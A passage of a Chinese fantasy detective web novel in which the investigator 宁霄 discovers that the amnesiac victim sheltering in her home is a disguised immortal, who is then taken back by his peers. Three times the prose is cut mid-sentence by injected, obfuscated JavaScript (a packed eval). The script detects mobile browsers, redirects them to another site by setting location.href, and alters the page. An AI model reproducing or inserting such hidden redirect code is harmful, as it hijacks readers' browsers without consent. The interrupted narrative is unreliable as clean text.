抓药的是药房主人的孩子,才七八岁的年纪,做起事来却已经是四平八稳的样子了。 “诶呦呦,这孩子,你肉体凡胎的,偏得些神仙病!” 宁霄扭头一瞧,一对母子刚看完病,母亲一边责怪,一边抹泪。 “诶,这有什么好哭的,他不过是体内之气运转不通,调理一下就好了嘛,实在不行不修仙不就得了,”坐堂医师一边写药方一边宽慰着他们,“不修仙又不是活不下去,学个一技之长照样能活得有滋有味呢。” 那母亲看着药方落泪,最终从腰包内翻出了被布层层叠叠包好的碎银,来回数了几遍后,全都倒在了桌上,却也还是不够。 医师点点银子,叹了口气,“算了,先给你开三帖好了,最后一帖可记着来买,不然就事倍功半了。” 将病人送走后,医师才朝柜台这边走来,跟宁霄打了个招呼。 “好久不见呐!怎么样?这么久了,在缉凶司安顿下来了?” “嗯,前几天刚正式就职。” “哎呀,真是好啊,以后有事还得仰仗你啦!” 面对这样的恭维,宁霄只是笑笑,没有搭茬,然后将自己要买的药材报了出来。 医师也明白她的性子,并不见怪,只是听完她要买的药材后,忍不住问道:“你平日里买的伤药和补药我都熟悉,这最后几份是……” “只是以备不时之需。”宁霄说罢抿起嘴巴,不愿过多解释。 闲谈间,小孩儿就将药准备好了,宁霄清点之后,交了钱,拎着大包小包的药离开了药房。 然而她没有急着回家,反而快步追上刚才的母子,将一小包药塞进了那母亲怀里,“第四帖药,医师送的。” 不等对方反应,宁霄便已走出了老远,很快消失不见了。 今天回家的时辰尚早,院中还未点灯,但一股轻烟已经缓缓飘起。 这样的情景已经多年未见,宁霄定定看了一会儿,思绪飘飞,等到敲门时,叩击的声音都带了些和缓的感觉。 伴随着逐渐清晰的脚步声,院门很快就被开了,门后露出了高大的身影和一张柔和的笑颜。 “你终于回来了,我买了好多好吃的呢,还煮了粥!马上就好了。” 阿远手里还拿着铁勺,另一只手却还主动接过了一些药包,不等宁霄拒绝,他已经将东西放进了厨房。 宁霄也只好接受他的好意,跟着他一起,准备到厨房把药材之类的重新整理一下。 然而阿远却很快折返将她挡在了厨房门外,他把宁霄手里剩下的药包接过放在桌上,又推着她走向了堂屋。 “你先别忙,有个东西要给你。” 11. 丹奴(十一) 宁霄不明所以,但还是耐心等待着。 不一会儿,阿远就从他的厢房回来了。 他伸手摊开,露出了一个褐金色圆环,圆环外形如衔尾之蛇,蛇身上还雕刻着精细的暗纹。 “这是……” “我看你要腰带上的环扣坏了,所以出门的时候买了这个。” 闻言,宁霄低头看去,这才发现了其中一个圆环已经有了裂缝,恐怕下次骑着踏影出去溜上一圈后,腰带就该散了。 “唔……” 宁霄看着他,忽然有些语塞。 就是师傅还在世的时候,她也没被这么细致地关照过,究竟是怎样的细心和关注才能比物主还要更快发现随身之物的缺损呢? “不过我也没太看仔细,也不知道换上去合不合适。” 阿远捏着圆环有些纠结,他们毕竟没那么亲昵,没办法亲自上手去比对自己买的东西合不合适。 却见宁霄伸出手,从他手心拿起了圆环,“合适的,谢谢。” 温热的指尖在手心留下了轻微的触感,阿远将手收回,藏在了身后。 “要吃粥吗?”他忽然问道。 尽管已经在外面吃过饭了,但宁霄还是点头答应了。 两人对坐着,一边吃一边聊着些无关紧要的小事,调查的事到了嘴边又被宁霄给咽了回去。 吃人嘴软拿人手短,宁霄还清晰记得上次吃饭时问询,结果把人给逼哭的样子,实在是有些于心不忍,想着休沐还没结束,不如再等等。 就这么等到饭后,等到阿远帮着自己整理好药材和成药,等到自己把药分类摆放到暗房,等到她回到房间,都没有提案子的事。 ——明天一定问。 宁霄这样想着,坐在床上解开腰带,将上身的衣衫褪下。 虽说在缉凶司的这几个月都没怎么受过见血的伤了,但淤青还是少不了的。 她熟练地给自己淤青的肩膀、腰腹、后腰等处擦上药,手掌下时不时能感知到身上那些深深浅浅的疤痕。 在等待药膏起效的时候,她摸出那个精致的圆环,在自己的腰带上比了比,大小形状都正合适,于是顺便把坏掉的环拆下来,换上了新的。 药膏在皮肤上变得温热,也提醒了宁霄,该熬药了。 她披上外衣,站在窗口看了看。 夜色深浓,阿远的窗户已经合上了,只有轻柔的光亮泛出,好似月光。 她取了些药,轻手轻脚来到厨房,一个人默默守着药锅给自己煮了些补药。 咕嘟嘟的声音虽然并不高,却还是钻进了阿远的耳朵里,他立刻起身来到窗前,小心开了条缝隙去看,厨房内点着灯,一个身影在药锅前静坐着。 药味渐渐飘出,越飘越淡,等来到他的窗前时,已经成了一股清淡的药香。 不知看了多久,那个身影忽然动了,她将汤药倒出,等药凉的时候顺便把药渣药锅收拾干净,最后站在桌前一口气将汤药灌进了肚里。 灯火很快灭了,宁霄也从厨房走了出来。 阿远把窗户缝隙关小,在宁霄转身的时候,看到了她束胸下方露出的一团狰狞的疤痕。 那道疤痕有手掌宽,在她左肋下方的位置,不知道具体有多大,但只是一闪眼,就已经足够让人心惊。 而除了那道显眼的伤疤外,她身上还有不少伤痕,锁骨附近和腰腹上都有,仿佛是她过去生活的记录。 凌非远仍有些发怔,但回过神来后,心里却直犯嘀咕。 “奇怪……” - 轻松的休沐日转瞬即逝。 宁霄穿戴整齐,在确认阿远已经起床后,才走下楼去。 “早啊,要上值了吗?”阿远笑着朝她打了个招呼。 “嗯。” 不等宁霄开口,他又看着宁霄的腰带,道:“咦,你把那个换上了啊,看起来还挺合适。” “合适,谢谢。” 宁霄说罢,朝门口走了几步,装作不经意般回头问道:“对了,你有记起什么新的线索吗?今天集议队长肯定又要问了。” “嗯……”阿远眼神闪烁了几下,随后摇了摇头,“其他有用的东西我也想不起来了。” 见他的态度没有上次那么抵触和激动了,宁霄也松了一口气。 “好。”她点点头,“那我先走了。 - 来到缉凶司的第一件事,照例是参加六队的集议。 作为享受了一天休沐的缉凶司新人,宁霄忽然觉得自己跟六房中忙碌的各位有些格格不入了。 杨妙云刚一来,就又跟大家延续了上次未完的论辩,叉着腰一脸不服。 宁霄旁听了一会儿,只觉得他们越说越偏题,只好退出,往吴季旸那边凑了凑。 “吴组长,你有什么收获吗?” “有啊,”吴季旸扬了扬手里的文书,“查完线索直接断了。” 闻言,宁霄也懒得打听了,坐在自己的位置上一直等到秦荣到来。 秦荣驾到后也不多废话,扫视一圈后,问道:“开始吧,谁先来。” 吴季旸率先抬手,几句话结束了自己的这条线。 “给买卖双方牵线的江春明全家早死光了。袁四的画像目前还没有人来认领和报告。” “嗯,准备一下去黑市悬赏吧,赏金我尽快安排。下一个。” 杨妙云还在一旁钻研神庙的草图,任彪只好抬手示意,汇报道:“郊野的神庙附近暂时没有新的发现。” 不等秦荣说话,苗淇已经站起身来,道:“上次那张符还是没找到出自谁手,但是那位江湖术士能看得懂符文的含义。” “哦?是有什么特别之处吗?” “队长,我把人带来了。” 秦荣闻言,一抬下巴,让她把人给带进来了。 很快,二组的人就带着一个满身丁零当啷的干瘦老头进来了,老头的头发和胡子已经全白了,但走路依旧很稳健,虽然披头散发的,但全身上下看起来都很干净。 如此特别的装束引得大家纷纷侧目。 苗淇将他拉到桌前,随后将那张神庙附近遗落的符纸拆开展示给大家,侧头对那术士道:“那位就是我们的队长秦荣,关于这张符纸上的内容,请您给大家介绍一下吧。” “诶好,”老头向面前的人们拱手致意,“诸位请看,这个符文无头,先写了内容才画了事神,最后则是交易条件。” “譬如这张符文,就是用来镇物的,事神周围有锁链交叠,至于最后的交易条件,老朽就有些看不明白了。” 此话一出,宁霄心里先琢磨起了自己那天破开的红符,随便从桌上拿了张纸自己画了起来。 “那您能看得出是哪门哪派吗?”秦荣继续追问道。 那术士笑了笑,有些勉强,解释道:“老朽曾经从别人手里学过这符文,要说是哪门哪派,教我的人也说不出来,只是说这符 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999286|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文有用,我也就学了几招。” “执掌这些事情的神是?” “大人,其实……小民也不清楚祂是谁,”术士语气发虚,只能用笑来缓解尴尬,“小民学的时候,也问过,但师傅们也不清楚这里面具体的解释,只是有用,便如此口口相传了。” 那边讯问的过程中,宁霄也已经把符文按照记忆写了个大概,开始专注地听。 秦荣却冷不丁问道:“宁霄呢,有没有什么想问的?” “呃……秦队,这种情况我倒是也听说过,民间时常流传一些野神、妖怪扮的鬼仙之类的,只要是有用,就总有门路去传播,但也因为代价巨大,往往难以壮大。” 说罢,宁霄将自己写完的符文递给了那个术士,问道:“您看看这个,我记不太清了,能大概猜出是什么意思吗?” 老头拿过纸来,上下打量了一番后,忽然皱起了眉头。 “啧,诶呦,这个也是用来镇物的,不过与普通的物不太一样,一般是用来押送一些比较凶猛的灵兽,或者修为很高的妖和修士的,事神我们一般叫祂恶鬼将军。” 说着,老头将纸条放在桌上,一边说一边用手指着,引得周围人全都过来围观了。 “大人请看,这符文虽然只有形,没有完整的文,但事神下压着三个头骨形状,周围绕着的像是铁链,最后的交易条件像是人牲的写法。敢问大人,此符文可是写在红色的符纸上?” 宁霄也感觉到了不对劲,认真点了点头。 “那就没错了,红符是用这人牲的血染的,只要符文按照使用完的方式解开,人牲就会死,若是中途符文没有镇好东西,被破开,人牲的魂魄则会被撕裂,非死即疯。” “所以红符镇压的东西不一般,是一命换一命?”宁霄的心里顿时有些打鼓。 “没错,”那术士翘着兰花指捋了捋胡子,“我之前见人用此符押送过灵兽,用的是猪狗鸡的血染的,人牲我也只是听说过,这还是头一次见呢。” 宁霄看了秦荣一眼,见她没有示意,自己只好继续问。 “你所了解的事神有哪些?” “嗯……镇物的、驱病的、修习的,还有一种是借力的,别的我就不太清楚了。这些都是老朽零零碎碎向人求教总结而来的。” 至此,秦荣才点了头,让人把那术士给带出去了。 六房中顿时又激起了一阵讨论的声音,都不用认真听,宁霄也能猜到,大家必然是在讨论阿远的身份。 果不其然,宁霄一扭头,便见秦荣看着她,道:“说说吧。” “秦队,我问过阿远了,他没有新的线索可以提供了。” 闻言,秦荣沉思片刻后,立马抬手制止了六房的讨论。 “根据现在的线索来看,郊野的神庙和受害人阿远就是本案的关键线索了,现在一组准备好阿远的画像,去各大门派以及妖族去问问吧,其他三组去神庙重新勘察一遍现场留存的线索,袁四的悬赏金我现在就去申请。” 秦荣一边说一边站起身来,收拾好东西就要离开,大家也纷纷商讨着接下来的任务要如何进行。 然而当秦荣一开门,却见门外正守着几个人。 只见他们附耳和秦荣低声说了几句话后,秦荣便看向六房中的众人,抬起一只手来,手心朝下往下一压,准备干活的大家便乖乖回到了各自的座位上。 下一刻,门就被秦荣从外面关上了,而窸窸窣窣的谈话声仍在继续。 12. 丹奴(十二) 不一会儿,六房的门重新打开了。 秦荣再次进来,将门紧闭。 有急性子的缉凶使立刻站起身来询问道:“秦队,我们现在能去干活了吗?” 却见秦荣表情纠结,道:“先坐。”说完便回到了自己的位置上。 她双手撑着桌子沉默片刻后才开口道:“案子……应该不用我们管了。” 话音刚落,大家都是一片迷茫和惊呼。 “什么?!” “怎么回事啊?难道是找到凶手了?” “发生什么事了啊老大?” …… 等大家稍微静下来一些后,秦荣才解释说:“上面的消息,仙人来修界找人,目前此事是缉凶司头等大事,只要不是紧急事务的都得先停下来找人。” 此话一出,六房立刻又爆发出了更加高声的讨论。 “什么?!仙人来修界了?找谁啊?!” “诶诶,上次仙人来这儿可还是修界刚稳固的时候啊!什么风把他们给吹来了?!” “是啊是啊,虽说咱们司也有仙人驻守,但平时基本上没来过啊,都是司长直接跟他们联系的,怎么这会儿突然来了?” “我知道了,肯定是找那位的,姓什么来着?仙界的大前辈呢,不是说归隐了吗?难不成出山了?” …… 大家的话题从一开始的猜测很快拐到了八卦上去,秦荣见状立刻拍拍手,让大家都安静下来。 “都别说话了,”她扫视一圈,神色严肃,“我现在去参加集议,有什么情况我会尽快吩咐你们的,你们先在这儿待着。” 说罢,她便立刻离开了。 大家继续着刚才的八卦,然而只有宁霄沉默着坐在自己的位置上,目光仿佛穿过了面前的事物,神游去了天外。 她忽然想到了什么,突然站了起来。 坐在旁边的吴季旸被她吓了一跳,问道:“怎么了?” 宁霄这才回过神来,面色如常答道:“去净手。” “哦。”吴季旸眨巴着眼睛,目送她走出了六房。 然而从六房离开后的宁霄并没有去茅房,而是一路绕出环廊,离开前厅,径直去了兽舍,牵出一匹踏影马便翻身上去了。 “诶诶!有牌子吗你就骑?你要干什么去?!” 身后传来同僚的质问声,但宁霄此时脑子里一团乱麻,根本顾不得说话,骑着踏影便奔出了缉凶司的大门。 她在街上跑出几步后便寸步难行,行人的惊呼声令她清醒过来,她只得一拉缰绳往山上去,绕着缉凶司后山的路线跑。 半道上她才拐下了山路,冲进了第一次遇见阿远的破败区域,继续穿过无人的街巷前进。 一路上,办案过程中的种种细节重新浮现在了她的脑海中,她也不知道自己是想干嘛,只是冥冥之中有个念头指引着她,往家的方向奔去。 好在自己所住的区域地广人稀,即便是骑着高大的踏影也能在街道上毫无顾忌地飞驰,路上的行人自觉避让,时不时还有叫骂声被甩在身后。 终于,那个熟悉的院门出现在眼前,宁霄猛地拉住缰绳,翻身落地。 随后胡乱往那老妖怪旁边的树上栓好灵兽踏影,一个箭步冲到了自己的院门前。 “诶呦你个小兔崽子!你要投胎去啊!土都吹进我茶碗里了!真以为我好欺负啊你?!” 面对老妖怪的威胁,宁霄充耳不闻,立在门前咽了咽口水,才叩响了门。 “谁呀?” “……宁霄。” 一阵熟悉的脚步声传来,门闩被人撤掉,院门很快开了,露出了阿远的脸。 他的眸中有一瞬间的惊喜,随即立刻让开,把宁霄迎了进去。 一入院门,便见院中的地面还湿着,而阿远的手里还握着刷子,刚才大概是正在整理院子。 “宁霄,你怎么现在回来了?” 阿远的嘴角升腾起笑意,然而宁霄却说不出话,只是上上下下地打量着他。 “我身上有什么东西吗?”他转了一圈,不是很明白,随即又朝厨房走去,“我刚才正在刷锅呢,昨天煮粥好像有些糊了,我居然现在才发现。” 然而,不等他说完,宁霄忽然往腰间一摸,一把小匕首随着她手臂甩出的动作,冲着阿远的后脑飞去。 几乎是一瞬之间,阿远身子半回,抬起右手挡在了自己的面前。 匕首在距离他半个手臂的距离停了下来,然而随着他转身的动作,匕首被一股无形的力量击飞,哐当落在了宁霄的脚边。 刹那间,空气好像被冻结了一般,只余匕首叮当落地的声音短暂回响。 宁霄一动不动,只是静静看着他。 看着他放下手臂,移开视线,手指捏着衣服的边角,走也不是留也不是,支支吾吾说不出一句完整的话来。 “不是你想的那样,我,我……” 宁霄盯着他,眼神有一瞬间的恍惚。 ——是啊,不需要咒语和手决等的依托就能施展法力,他的确不是普通的修士。 阿远的声音好似被隔绝了起来,宁霄只能看到他张张合合的嘴巴,半晌拼不出一句完整的句子。 “你骗我。” 她的声音平静却笃定,甫一说罢,阿远就闭上了嘴。 站定一会儿后,见他没有要解释的意思,宁霄低头将腰带上那枚特殊的圆环扯下,往前面一撂,扭头就走。 才刚踏出门槛,便有两人凭空出现在了她家门前。 一个高挑清瘦,一个年轻宽厚,唯一相同的特点是,周身上下都有一种不食人间烟火的出尘气质。 宁霄的心猛地一跳,不用细想,便猜到了来人的身份,于是直接往旁边撤开,让出了院门。 “凌非远?!小远!你真的在这!” 其中一个仙人看到院中的人后,立刻步入院中查看情况,没有一个人正眼瞧宁霄一下,仿佛她只是门口一个没嘴的石狮子。 “怎么样?有没有出什么事?” “前辈,我没事……” “你的内丹呢?这叫没什么事?!走,跟我们回去修养一下,此事你不用操心,我们必将那作恶的孽障碎尸万段!” …… 院中的声音并不停息,满是重逢的喜悦与对阿远被人伤害的愤慨。 宁霄眨了眨眼,强迫自己把注意力收回,随即咬紧牙关去将踏影的绳索解了,翻身上去,双腿一夹踏影的腹部,扬长而去。 - 院落之中,凌非远断断续续回答着两位前辈的问话,心思却已经不在此处了。 “小远,小远?”瘦高挑的仙人在他面前挥了挥手,“这孩子,难不成魂魄有缺?” 说罢她便要施法诊治,却被凌非远拦了下来。 “前辈,我没事。只是肉身在修界有些不适。你们……怎么突然找过来了?” 那个看起来年轻的男仙立刻应道:“你不是领了功德事务来的吗?事情一直没有进展,文籍殿那边要求回收事务,又找不到人,和你一起来的长恩又说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999287|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出你在哪,为了确保安全,文籍殿就上报给了阁中,大家找到长恩审了一番,这才来了。” 凌非远叹了一口气,无话可说。 也怪他不了解文籍殿的流程,被宁霄从狼窝里救了出来,居然没想着让刘长恩去扫个尾。 如今事情已经闹大了,自己再怎么后悔也来不及了。 “咳咳,嘶……” 刚才抵挡匕首时他下意识使出了法力,然而没有内丹,体内之气运行不畅,强行催动只会令他的肉身代为承受。 两位仙人吓坏了,一左一右来搀扶他,却被他给拒绝了。 “好了好了,赶快跟我们回去吧,内丹的事情自有人去操心。” 凌非远点点头,应道:“好,我收拾一下东西。” 他望了望厢房,没有靠近,随即弯腰去捡起了那枚蛇衔尾的圆环,然后一步步走进了堂屋。 堂屋中首位的桌椅还保持着上次他和宁霄吃饭时的样子,两把椅子对坐着,有些奇怪,却让那天的记忆瞬间浮现在了他的脑海之中。 圆环被他用手掌擦干净,放在了桌上。 环顾一圈后,他又低头将腰间的红鱼挂坠取了下来,拇指摩挲着上面粗糙的刻痕,犹豫不决。 “小远?干什么呢?需要帮忙吗?” 身后忽然传来前辈的催促声,凌非远顿时回神,不等脚步声再靠近,他就急忙将挂坠塞进了自己的衣襟里。 “好了前辈,我收拾好了,我们走吧。” 男仙闻言当即就要施法,却被那位高瘦的女仙拦了下来,只见她摇了摇头,带着他一步步离开了院子,不声不响等在门外。 将院中打扫的东西都放回原位后,凌非远才走出院子。 他将院门锁好后,忍着伤痛施法,将钥匙送进了二楼中间的窗台上。 一阵风过,院门外的三人便消失无踪,好似从未来过。 - 踏影一路疾驰,带着宁霄回到了缉凶司。 掌管灵兽的后勤同僚早已等候多时,一下子就认出了她,当即拦住了去路。 “诶诶!牌子呢?!小心我告诉你们头儿。” 宁霄坐在踏影背上深吸了一口气,翻身下马后将缰绳交给了那人,语气平和,仿佛刚才什么都没有发生过。 “抱歉,我这就去取,一会儿送来。” 那人又张开手臂拦住了她,嚷嚷道:“诶诶,把名字留下,在谁手底下做事?” “新任缉凶使,还没有组别。” “嘁,新来的都这么不守规矩?!你要是拿不出牌子,小心我告上去让你滚出缉凶司!” 宁霄置若罔闻,按下他的手臂朝主院走去。 若说生气,她现在比这位尽职尽责的同僚还要怒火中烧。 她不明白为什么阿远要隐瞒自己的身份线索,又为什么要装作失忆跟着自己回家。 一个仙人,真的能被修界的人捕获剖丹吗?一个仙人,真的会害怕班房无人陪伴的夜晚吗? 她想起了阿远在夜晚趴在窗边望月的样子,想起了他们两人在堂屋吃饭时那碟糖糕的香味,想起了他在被问询时流下的眼泪,想起了那碗带着糊味的粥…… 无数画面纷繁杂乱,数不清的细节被她再次揪起。 “呵。” 她冷哼一声,不知不觉间已经走到了六房门口。 被人耍了她当然生气,但此时此刻,令她最担心的事情是——自己第一次参与并且努力了这么久的案子,会因为他的欺瞒而被拱手让人吗? 13. 丹奴(十三) 门刚一推开,屋内所有人都齐刷刷看了过来。 见是她,又扭头回去继续刚才的喧哗吵闹了。 宁霄若无其事地回到了自己的位置上,旁边的吴季旸则伸长脖子探头过来问道:“咋?窜稀了?去这么久?” 话音刚落,屋内的吵闹声又瞬间停了。 抬头一看,六房的门再次被人推开了,而开门的人正是秦荣。 她的视线与宁霄交汇,却没有很快移开,随后才走进来站在了自己的位置上。 “说一下目前的情况啊,仙界要的人找着了,案子还是该办办。” 对于这样的结果,大家都不满足,一个劲儿想知道和仙人有关的所有事情,顿时又起了一阵喧闹。 秦荣说罢后看向了宁霄,不等她张嘴,宁霄先举手示意了,道:“秦队,我想补一个使用灵兽的牌子。” 周围听得到她声音的人都被吸引了注意,噤声不讲了。 “咦?”吴季旸扭头看了过来,“你干嘛去了?” 面对她的请求,秦荣没有第一时间表示答应与否,而是与她四目相对,淡淡问道:“你知道他们找的是谁了,对吧?” “嗯。”宁霄移开视线,点点头,“应该已经走了。” 不等周围人发问,六房的门就又被人给推开了。 来人是牛空使长的下属,大家都眼熟了,而牛空正是秦荣的顶头上官。 那人得到允许后,快步来到秦荣的身边,耳语片刻后便离去了。 秦荣的神色看起来很是困惑,她思忖片刻后,开口吩咐道:“案子的事情先别动了,上面突然有些变动,估计不能轻易办了,具体听安排吧。宁霄,牌子找晓晨补吧。” 说完她就行色匆匆离开了。 等六房的门一关,大家才反应过来,围着宁霄叽叽喳喳起来。 吴季旸近水楼台,推了推宁霄的胳膊,问道:“等等,你俩刚才打什么哑谜呢?” “找谁啊?” “是啊,我听说小霄不是一个人住的吗?能找谁……诶?上次那个受害人是住在小霄家的对吧?” 人群寂静了片刻,吴季旸磕磕巴巴问道:“所以他们找的人是那个受害人?所以那个受害人是……” “天呐!”杨妙云忽然惊叫起来,“我第一次见仙人诶!我居然都不知道!不过仙人看起来和我们也没啥区别啊?仙人也能失忆吗?” 说罢就拉着宁霄问道:“宁霄,那仙人天天跟你住一起,你有发现什么不同之处吗?” “是啊是啊,我听说仙人容颜永驻,那他们还吃东西吗?” “宁霄,你刚刚出去是回去跟他告别吗?他是怎么回去的啊?是不是咻一下就飞走了?” 面对一个接一个的问题,宁霄忽然很想笑。 大家都觉得阿远跟她住在一起,关系应该很不错呢,结果这些问题她一个都回答不出来。 于是她摇摇头,语气疲惫,解释道:“我要是能知道这些,他的身份不早就暴露了嘛。” 闻言,大家都觉得有道理,于是话题又回到了这桩案件上。 “不过这就说得通了,怪不得单独贴了红符封印,还卖那么贵,还着急出手,敢情是这个原因啊!” “天呐,居然敢买卖仙人……我还是头一次见这等案子。” “别说你没见过了,恐怕天底下也就仅此一桩案子了,也不知道仙人会怎么处置罪犯啊?” …… 趁大家吵闹的间隙,宁霄终于把借用灵兽坐骑的牌子送到了兽舍,但还是收获了一顿抱怨和批评。 等到快散值的时候,六房才把秦荣给盼了回来。 “仙人被拐为丹奴并且肆意买卖,这件事情性质恶劣,引起了仙界的重视和声讨,根据上面的商量,这个案子又要往上移了。” 秦荣话音刚落,便听取“啊?”声一片。 她握着文书往桌上敲了敲,眼神严肃扫视了一圈,警告道:“啊什么啊?这个案子我们还得参与,除了我们队,二队也会参与。” “唔,”她忽然想起了什么,转向了宁霄,“你作为报案人也要继续参与。” “好了,现在去内院参加集议,我们队、二队、使长、司长,包括负责监督的仙人都会参与,把案件相关的东西都带上,别给我们六队丢人。” 此话一出,大家的状态立刻整肃起来,很快就带着东西朝内院走去。 宁霄虽说没什么东西好带的,只拿了几页符文,但心里却有些不安,脑子里不住地胡思乱想。 穿过长长的回廊,便是缉凶司的内院了。 这里是使长们和司长议事的地方,东面挨着武器库和训练场,西面则是重重符咒法力包围的刑房和地牢。 几队人马陆续赶来,因为内院的房间无法容纳,于是集议只能在院内进行。 很快便有人在院中布下了结界,还备了长桌用来展示现有的线索和物证,那位负责此次案件的牛空使长也没闲着,施法在半空中设了一道光镜,用来给大家展示文书和物证的细节。 不一会儿,司长与三位仙人便从北面的建筑内走了出来。 宁霄站在远处,虽然看不分明,但至少能确定,阿远并没有来。 等到集议开始,没人再进出结界时,她杂乱的念头才彻底平静了下来。 虽说搞了这么大的阵仗,但无非又是把之前六队曾经走过的流程又仔仔细细地介绍了一遍而已,该怎么办还是得怎么办,并无新意,只是人手增加了一倍多,案件可以更快地推进了。 重新分配好人手与任务以后,一位看起来雪肤花貌、满头银丝的仙人站了出来,将他们接下来的行动也告诉了在场的众人。 “诸位,我叫庄耀,接下来的时间里,与案情有关的任何进展都可以与我直接联系,我将作为仙界的代表与诸位一同破案。” 庄耀说罢,伸出手指朝光镜一指,上面就显示出了一些文书的画面。 宁霄对此已经很熟悉了,只扫了一眼就认出来了。 “受害人已经被我们带回仙界,新证词的搜集就由我来负责。” 听到这个,宁霄的呼吸一滞,她移开视线,只觉得一丝若隐若现的怨怼和愤怒之气萦绕心头,搅得她已经平静的心湖又掀起了风波。 除了庄耀以外,另两个仙人也不是白来的,接下来要分别跟着六队和二队一起查案。 案件的所有情况说罢,夜色已深。 司长最后说了些什么废话,宁霄都已经如过眼云烟般抛诸脑后了。 她甚至记不清自己是什么时候顺着人潮离开的缉凶司,又是如何漫无目的地回到了自己熟悉的街巷。 已经太晚了,周围少有行人。 微凉的夜风吹过,引得一阵沙沙树响。 宁霄循着声音望去,满天星子,月亮被淡淡的云雾笼罩着,看不清晰。 她放缓脚步,慢慢朝家走,也不知道头脑是累了还是出神了,杂乱的念头居然通通消失无踪了。 就这么循着习惯一路走到了家门口,她站定抬头,漆黑的院子寂静无声。 …… 不对! 宁霄瞬间警觉起来,她下意识握上了刀柄,仔细聆听着风声中夹杂的细微声响。 院中似乎传来了衣服互相摩擦的声音,以及一种循环规整的物品晃动的吱呀声。 听起来不像是盗贼,那会是谁呢? 宁霄的心脏咚咚跳着,几乎要将院中的异响掩盖住了,她松开右手,换成左手握刀,拇指将刀柄往上推出,露出了一截寒光。 随着脚步渐近,她已经听到了院中人的呼吸声,非常平静随意,似乎并没有想要隐藏的意思。 难不成是专门等着自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊~可怜的霄霄~”李琉君刚哼唧了几句,突然恍然大悟般发问道:“三象门可是修界第一玄门,不会也这么忙吧?!” “啧,”宁霄撇撇嘴,摇了摇头,“你还真别说。” 失魂的“木偶”这下彻底成了一堆被泡烂的木头,伸长胳膊病歪歪地挂在了宁霄的脖颈上。 “好啦,你想要什么?等你正式通过考核,我送你当礼物怎么样?” “礼物就算了,你给我些好用的药符宝贝就行了。” “好啊,到时候你去暗房随便挑。” “好诶!”李琉君重新恢复了活力,蹦跳起来,好似一只皮猴。 “那我就先走咯~”她绕着宁霄蹦跳了一圈后,倒退着来到了院墙边上,挥了挥手,转身越过院墙消失无踪了。 宁霄听着她的脚步消失后,笑容慢慢放了下来,她看着空荡荡的院落,注意到了地上闪闪发光的匕首。 低声念了一个音,匕首就瞬间飞回了她的手中。 她将利刃在袖口来回擦了一下,像往常那样,仔细检查院子里的每个屋子和角落。 来到堂屋,点亮琉璃盏,桌上的圆环瞬间反射出暗哑的光,好似一弯峨眉细月,在一堆老旧的家具中间格外醒目。 宁霄没有理会,默默巡完所有房间和角落,一如往常回到自己的卧房,换下制衣,披了件外套来到厨房煮药。 咕嘟嘟的声音溢满了耳畔,她下意识扭头,看向了那个黑漆漆的厢房。 她也不知道自己这一整天都在气愤什么、在意什么,明明在修界,欺骗是一件再平常不过的事情,被骗只能说明一个人戒心不足,活该罢了。 是啊,是自己活该。 宁霄闭上眼睛深吸了一口气,随即大步跨出厨房的门,去堂屋将那蛇衔尾的圆环握在手中,来到院中的厢房旁,就着窗户直接丢了进去。 她将窗户“砰”地关上,顺手把厢房的门也锁了起来。 心中那股飘忽的火焰终于被掐灭了,升腾起了一缕细烟。 她甚至闻到了那缕烟的味道,熏得人直皱眉。 “不好!” 宁霄匆忙来到厨房,舀了一瓢水泼灭了炉子里的火,厨房里满是汤药被烧糊的味道。 14. 仙人(一) 大约是因为仙人驾临,缉凶司的氛围变得异常整肃。 连院中负责记录报案信息的罗靖见了她,都不敢大喊大叫了,只是抬手挥了挥,眼睛灵活地做了些宁霄根本看不懂的小动作。 距离上值还有些时间,宁霄只好上前,等到报案人离开后,才指着自己的眼睛,胡乱眨了眨眼,问道:“你这个……什么意思?” “呜呜呜仙界来了不止三个人呢!一大早就去内院了,好害怕啊~”罗靖双手抱住自己,身子一阵乱扭。 “……” 见她这副夸张的样子,宁霄留下一个无可奈何的表情,快步离开了。 才来到前厅,便有六房的同僚拍了拍她的肩膀,拉着她朝内院走去,解释道:“案子要一起办了,六房放不下,说是去内院一起,走吧。” 缉凶司的内院依旧保持着昨晚的阵仗,先来的人已经在研究线索和物证了,三三两两围在一起对着桌上的东西说着什么。 宁霄站在角落,观察着大家的动态。 人都到齐后,由牛空和那位银发的仙人庄耀主导,对接下来的行动做了后续安排。 其实六房之前的行动已经足够完善了,每一条线都已经做出了相应的努力,接下来只需要按照之前的安排继续深入即可。 不过在那之前,庄耀先提供了一份新的线索,也就是阿远的证词。 “根据仙界受害者的叙述,他是先发现了罪犯的不对劲后,故意将计就计落入圈套,想要看看罪犯的行动。不料罪犯的术法奇特,竟然可以令他意识涣散。进入罪犯的老巢后,他一开始没有反抗,只是观察,被罪犯察觉后,罪犯竟装作无事发生,在本应培植内丹的过程中使用了特殊的阵法与术法,直接生剖了他的内丹。” 听到这里,大家俱是惊讶,有的甚至直接叫出了声,宁霄也有些不解地眯起了眼睛。 